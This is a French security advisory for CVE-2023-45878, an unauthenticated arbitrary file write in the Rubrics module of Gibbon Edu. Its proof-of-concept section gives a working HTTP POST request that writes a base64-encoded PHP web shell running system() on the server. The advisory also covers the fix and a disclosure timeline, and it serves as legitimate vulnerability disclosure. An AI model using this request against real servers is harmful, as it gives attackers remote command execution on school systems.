Description
Gibbon Edu, la solution logicielle éducative open source, est confronté à une vulnérabilité de sécurité majeure identifiée sous le code CVE-2023-45878. Cette faille expose le système à des attaques d’écriture de fichiers arbitraires par des acteurs non authentifiés, potentiellement entraînant l’exécution de code sur le serveur. La version concernée est la 25.0.01 (avant le commit ‘226d83568cf3d447c4d86d4e5aba2c6e6289045d‘).
Preuve de Concept
La vulnérabilité se situe dans le fichier rubrics_visualise_saveAjax.php
du module Rubrics, accessible sans authentification. Les attaquants peuvent exploiter cette vulnérabilité en téléversant une fausse image encodée en base64, susceptible d’être interprétée comme un fichier PHP malveillant. Ce fichier accepte des paramètres POST tels que img (image encodée en base64), path et gibbonPersonID.
Si le paramètre path est spécifié, le chemin indiqué est utilisé comme dossier de destination, concatené avec le chemin absolu du répertoire d’installation de Gibbon Edu. La valeur du paramètre img est ensuite écrite dans le chemin de fichier spécifié.
Un exemple simplifié d’une requête POST malveillante :
POST /modules/Rubrics/rubrics_visualise_saveAjax.php HTTP/1.1 Host: localhost:8080 img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=asdf.php&gibbonPersonID=0000000001
La charge utile de cet exemple écrira le code PHP <?php echo system($_GET['cmd'])?>
dans le fichier asdf.php
.
Correction
Pour remédier à cette vulnérabilité, il est impératif de s’assurer que seuls les types de fichiers valides sont autorisés pour le téléversement. L’équipe de Gibbon Edu a résolu ce problème, et les utilisateurs sont vivement encouragés à mettre à jour leur logiciel vers la dernière version disponible.
Références : https://github.com/GibbonEdu/core/tree/16638b849220dd24ed1e536b44b76e222ae0f6c0
Chronologie :
- 2023-07-11 : Identification de la vulnérabilité par Christian Poeschl
- 2023-09-19 : Publication de la version sécurisée v25.0.01
- 2023-11-02 : Publication de l’avis de sécurité
Cette vulnérabilité souligne l’importance des mises à jour régulières pour maintenir la sécurité des systèmes éducatifs basés sur des logiciels open source tels que Gibbon Edu.